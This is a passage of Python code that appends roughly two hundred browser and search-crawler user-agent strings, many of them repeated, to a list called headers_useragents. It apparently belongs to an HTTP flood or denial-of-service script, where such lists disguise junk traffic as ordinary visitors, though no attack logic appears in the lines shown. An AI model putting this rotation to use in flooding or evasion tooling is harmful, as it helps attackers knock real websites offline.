  223.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  224.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  225.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  226.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  227.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  228.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  229.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  230.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  231.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  232.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  233.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  234.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  235.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  236.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  237.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  238.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  239.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  240.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  241.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  242.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  243.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  244.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  245.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  246.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  247.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  248.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  249.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  250.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  251.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  252.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  253.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  254.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  255.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  256.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  257.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)')
  258.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  259.     headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)')
  260.     headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)')
  261.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)')
  262.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)')
  263.     headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0')
  264.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16')
  265.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)')
  266.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13')
  267.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)')
  268.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  269.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)')
  270.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)')
  271.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)')
  272.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8')
  273.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')
  274.     headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)')
  275.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  276.     headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)')
  277.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  278.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  279.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  280.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  281.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  282.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  283.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  284.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  285.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  286.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  287.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  288.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  289.     headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)')
  290.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)')
  291.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  292.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  293.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  294.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  295.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  296.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  297.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  298.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  299.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  300.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  301.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  302.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  303.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  304.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  305.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  306.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  307.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  308.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  309.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  310.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  311.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  312.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  313.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  314.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  315.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  316.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  317.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  318.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  319.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  320.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  321.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  322.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  323.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  324.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  325.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  326.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  327.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  328.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  329.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  330.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  331.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  332.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  333.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  334.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  335.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  336.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  337.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  338.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  339.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  340.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  341.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  342.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  343.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  344.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  345.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  346.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  347.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  348.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  349.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  350.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  351.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  352.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  353.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  354.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  355.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  356.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  357.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  358.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  359.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  360.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  361.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  362.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  363.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  364.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  365.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  366.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  367.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  368.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  369.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  370.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  371.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  372.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  373.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  374.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  375.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  376.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  377.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  378.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  379.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  380.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  381.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  382.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  383.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  384.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  385.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  386.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  387.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  388.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  389.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  390.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  391.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  392.     headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620')
  393.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com')
  394.     headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)')
  395.     headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)')
  396.     headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)')
  397.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  398.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  399.     headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)')
  400.     headers_useragents.append('BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)')
  401.     headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)')
  402.     headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)')
  403.     headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)')
  404.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  405.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  406.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  407.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  408.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)')
  409.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  410.     headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)')
  411.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)')
  412.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)')
  413.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)')
  414.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  415.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA')
  416.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2')
  417.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1')
  418.     headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)')
